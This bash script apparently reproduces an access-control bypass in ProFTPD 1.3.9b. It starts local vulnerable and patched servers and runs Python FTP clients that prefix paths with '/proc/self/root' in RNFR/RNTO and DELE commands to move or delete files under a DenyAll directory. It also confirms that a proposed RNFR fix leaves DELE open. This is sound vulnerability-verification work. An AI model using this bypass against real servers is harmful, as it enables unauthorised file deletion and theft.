#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$ARTIFACTS"
chmod 755 "$ROOT" "$LOGS" "$ARTIFACTS" 2>/dev/null || true

cd "$ROOT"

exec > >(tee -a "$LOGS/variant_reproduction_steps.log")
exec 2>&1

VULN_PROFTPD="/data/pruva/project-cache/e16fa440-7670-4503-8601-378cf2096f7e/repo/build-vuln/proftpd"
PATCHED_PROFTPD="/data/pruva/project-cache/e16fa440-7670-4503-8601-378cf2096f7e/repo-patched/proftpd"

CURRENT_USER="${USER:-$(id -un)}"
CURRENT_UID="$(id -u)"
CURRENT_GID="$(id -g)"
GROUP_NAME="vscode"

VULN_PORT=2121
PATCHED_PORT=2122

VULN_PID_FILE="$ARTIFACTS/proftpd_vuln.pid"
PATCHED_PID_FILE="$ARTIFACTS/proftpd_patched.pid"
VULN_SCOREBOARD="$ARTIFACTS/proftpd_vuln.scoreboard"
PATCHED_SCOREBOARD="$ARTIFACTS/proftpd_patched.scoreboard"

cleanup() {
    for pid_file in "$VULN_PID_FILE" "$PATCHED_PID_FILE"; do
        if [ -f "$pid_file" ]; then
            kill "$(cat "$pid_file")" 2>/dev/null || true
            rm -f "$pid_file"
        fi
    done
    rm -f "$VULN_SCOREBOARD" "$PATCHED_SCOREBOARD"
}

trap cleanup EXIT

generate_auth() {
    local passwd_file="$1"
    local group_file="$2"
    local test_root="$3"

    HASH="$(openssl passwd -1 testpass)"
    printf '%s\n' "${CURRENT_USER}:${HASH}:${CURRENT_UID}:${CURRENT_GID}:${CURRENT_USER}:${test_root}:/bin/false" > "$passwd_file"
    printf '%s\n' "${GROUP_NAME}:x:${CURRENT_GID}:${CURRENT_USER}" > "$group_file"
    chmod 600 "$passwd_file" "$group_file"
}

write_config() {
    local conf_file="$1"
    local test_root="$2"
    local port="$3"
    local pid_file="$4"
    local scoreboard="$5"

    cat > "$conf_file" <<EOF
ServerName "ProFTPD-Variant-Test"
ServerType standalone
DefaultServer on
Port $port
User $CURRENT_USER
Group $GROUP_NAME

AuthUserFile $passwd_file
AuthGroupFile $group_file
RequireValidShell off
AuthOrder mod_auth_file.c

UseIPv6 off
UseReverseDNS off
ScoreboardFile $scoreboard
PidFile $pid_file

<Directory $test_root>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>

<Directory $test_root/protected>
  <Limit ALL>
    DenyAll
  </Limit>
</Directory>

<Directory $test_root/public>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>
EOF
}

# Wait, write_config uses local passwd_file/group_file. Need to pass them. Fix below.
write_config() {
    local conf_file="$1"
    local test_root="$2"
    local port="$3"
    local pid_file="$4"
    local scoreboard="$5"
    local passwd_file="$6"
    local group_file="$7"

    cat > "$conf_file" <<EOF
ServerName "ProFTPD-Variant-Test"
ServerType standalone
DefaultServer on
Port $port
User $CURRENT_USER
Group $GROUP_NAME

AuthUserFile $passwd_file
AuthGroupFile $group_file
RequireValidShell off
AuthOrder mod_auth_file.c

UseIPv6 off
UseReverseDNS off
ScoreboardFile $scoreboard
PidFile $pid_file

<Directory $test_root>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>

<Directory $test_root/protected>
  <Limit ALL>
    DenyAll
  </Limit>
</Directory>

<Directory $test_root/public>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>
EOF
}

start_server() {
    local proftpd="$1"
    local conf_file="$2"
    local pid_file="$3"
    local port="$4"
    local log_file="$5"

    rm -f "$pid_file"
    "$proftpd" -c "$conf_file" -d 10 > "$log_file" 2>&1 &
    local pid=$!

    for i in $(seq 1 30); do
        if nc -z localhost "$port" 2>/dev/null; then
            echo "Server listening on port $port"
            return 0
        fi
        if ! kill -0 "$pid" 2>/dev/null; then
            echo "Server exited prematurely (see $log_file)"
            return 1
        fi
        sleep 1
    done

    echo "Server failed to start on port $port (see $log_file)"
    return 1
}

run_python_client() {
    local script_file="$1"
    shift
    local env_vars="$*"

    env $env_vars python3 "$script_file"
}

# Vulnerable server setup
VULN_TEST_ROOT="$ARTIFACTS/ftp-root-vuln"
VULN_PASSWD="$ARTIFACTS/proftpd_vuln.passwd"
VULN_GROUP="$ARTIFACTS/proftpd_vuln.group"
VULN_CONF="$ARTIFACTS/proftpd_vuln.conf"

rm -rf "$VULN_TEST_ROOT"
mkdir -p "$VULN_TEST_ROOT/protected" "$VULN_TEST_ROOT/public"
echo "SECRET-VULN" > "$VULN_TEST_ROOT/protected/secret.txt"
chmod 755 "$VULN_TEST_ROOT" "$VULN_TEST_ROOT/protected" "$VULN_TEST_ROOT/public"
chmod 644 "$VULN_TEST_ROOT/protected/secret.txt"

generate_auth "$VULN_PASSWD" "$VULN_GROUP" "$VULN_TEST_ROOT"
write_config "$VULN_CONF" "$VULN_TEST_ROOT" "$VULN_PORT" "$VULN_PID_FILE" "$VULN_SCOREBOARD" "$VULN_PASSWD" "$VULN_GROUP"

echo "=== Starting vulnerable ProFTPD (v1.3.9b) on port $VULN_PORT ==="
start_server "$VULN_PROFTPD" "$VULN_CONF" "$VULN_PID_FILE" "$VULN_PORT" "$LOGS/proftpd_vuln_variant.log"

VULN_CLIENT="$ARTIFACTS/vuln_client.py"
cat > "$VULN_CLIENT" <<'PYEOF'
import ftplib
import os
import sys

host = "localhost"
port = int(os.environ["VULN_PORT"])
user = os.environ["CURRENT_USER"]
passwd = "testpass"

def restore(path):
    with open(path, "w") as f:
        f.write("SECRET-VULN\n")
    os.chmod(path, 0o644)

protected = os.path.join(os.environ["VULN_TEST_ROOT"], "protected", "secret.txt")
public = os.path.join(os.environ["VULN_TEST_ROOT"], "public", "leaked.txt")

ftp = ftplib.FTP()
ftp.connect(host, port)
ftp.login(user, passwd)
print(f"Logged in as {user}")

results = {}

# RNFR exploit on vulnerable version
restore(protected)
print("\n[ VULN ] RNFR exploit")
try:
    resp = ftp.sendcmd(f"RNFR /proc/self/root{protected}")
    print(f"RNFR response: {resp}")
    if resp.startswith("350"):
        ftp.sendcmd(f"RNTO {public}")
        print("RNFR/RNTO allowed")
        results["vuln_rnfr"] = "ALLOWED"
    else:
        results["vuln_rnfr"] = f"UNEXPECTED:{resp}"
except ftplib.error_perm as e:
    print(f"RNFR denied: {e}")
    results["vuln_rnfr"] = "DENIED"

# DELE variant on vulnerable version
restore(protected)
print("\n[ VULN ] DELE variant")
try:
    ftp.delete(f"/proc/self/root{protected}")
    print("DELE allowed")
    results["vuln_dele"] = "ALLOWED"
except ftplib.error_perm as e:
    print(f"DELE denied: {e}")
    results["vuln_dele"] = "DENIED"

ftp.quit()
print("\nVulnerable results:", results)
if results.get("vuln_rnfr") == "ALLOWED" and results.get("vuln_dele") == "ALLOWED":
    sys.exit(0)
else:
    sys.exit(1)
PYEOF

echo "=== Running vulnerable tests ==="
env VULN_PORT="$VULN_PORT" CURRENT_USER="$CURRENT_USER" VULN_TEST_ROOT="$VULN_TEST_ROOT" python3 "$VULN_CLIENT"
VULN_EXIT=$?

# Stop vulnerable server before starting patched
if [ -f "$VULN_PID_FILE" ]; then
    kill "$(cat "$VULN_PID_FILE")" 2>/dev/null || true
    rm -f "$VULN_PID_FILE" "$VULN_SCOREBOARD"
fi

if [ "$VULN_EXIT" -ne 0 ]; then
    echo "Vulnerable tests did not behave as expected; aborting."
    exit 1
fi

# Patched server setup
PATCHED_TEST_ROOT="$ARTIFACTS/ftp-root-patched"
PATCHED_PASSWD="$ARTIFACTS/proftpd_patched.passwd"
PATCHED_GROUP="$ARTIFACTS/proftpd_patched.group"
PATCHED_CONF="$ARTIFACTS/proftpd_patched.conf"

rm -rf "$PATCHED_TEST_ROOT"
mkdir -p "$PATCHED_TEST_ROOT/protected" "$PATCHED_TEST_ROOT/public"
echo "SECRET-PATCHED" > "$PATCHED_TEST_ROOT/protected/secret.txt"
chmod 755 "$PATCHED_TEST_ROOT" "$PATCHED_TEST_ROOT/protected" "$PATCHED_TEST_ROOT/public"
chmod 644 "$PATCHED_TEST_ROOT/protected/secret.txt"

generate_auth "$PATCHED_PASSWD" "$PATCHED_GROUP" "$PATCHED_TEST_ROOT"
write_config "$PATCHED_CONF" "$PATCHED_TEST_ROOT" "$PATCHED_PORT" "$PATCHED_PID_FILE" "$PATCHED_SCOREBOARD" "$PATCHED_PASSWD" "$PATCHED_GROUP"

echo "=== Starting patched ProFTPD (v1.3.9b + proposed RNFR fix) on port $PATCHED_PORT ==="
start_server "$PATCHED_PROFTPD" "$PATCHED_CONF" "$PATCHED_PID_FILE" "$PATCHED_PORT" "$LOGS/proftpd_patched_variant.log"

PATCHED_CLIENT="$ARTIFACTS/patched_client.py"
cat > "$PATCHED_CLIENT" <<'PYEOF'
import ftplib
import os
import sys

host = "localhost"
port = int(os.environ["PATCHED_PORT"])
user = os.environ["CURRENT_USER"]
passwd = "testpass"

def restore(path, content):
    with open(path, "w") as f:
        f.write(content)
    os.chmod(path, 0o644)

protected = os.path.join(os.environ["PATCHED_TEST_ROOT"], "protected", "secret.txt")

ftp = ftplib.FTP()
ftp.connect(host, port)
ftp.login(user, passwd)
print(f"Logged in as {user}")

results = {}

# RNFR exploit on patched version
restore(protected, "SECRET-PATCHED")
print("\n[ PATCHED ] RNFR exploit (should be blocked)")
try:
    resp = ftp.sendcmd(f"RNFR /proc/self/root{protected}")
    print(f"RNFR response: {resp}")
    if resp.startswith("350"):
        results["patched_rnfr"] = "ALLOWED"
    else:
        results["patched_rnfr"] = "DENIED"
except ftplib.error_perm as e:
    print(f"RNFR denied: {e}")
    results["patched_rnfr"] = "DENIED"

# DELE variant on patched version
restore(protected, "SECRET-PATCHED")
print("\n[ PATCHED ] DELE variant (should still bypass)")
try:
    ftp.delete(f"/proc/self/root{protected}")
    print("DELE allowed")
    results["patched_dele"] = "ALLOWED"
except ftplib.error_perm as e:
    print(f"DELE denied: {e}")
    results["patched_dele"] = "DENIED"

ftp.quit()
print("\nPatched results:", results)
if results.get("patched_rnfr") == "DENIED" and results.get("patched_dele") == "ALLOWED":
    print("\nBYPASS CONFIRMED: proposed RNFR fix leaves DELE path open")
    sys.exit(0)
else:
    sys.exit(1)
PYEOF

echo "=== Running patched tests ==="
env PATCHED_PORT="$PATCHED_PORT" CURRENT_USER="$CURRENT_USER" PATCHED_TEST_ROOT="$PATCHED_TEST_ROOT" python3 "$PATCHED_CLIENT"
PATCHED_EXIT=$?

if [ "$PATCHED_EXIT" -eq 0 ]; then
    echo "=== Variant reproduction completed: bypass confirmed ==="
    exit 0
else
    echo "=== Bypass not confirmed on patched build ==="
    exit 1
fi
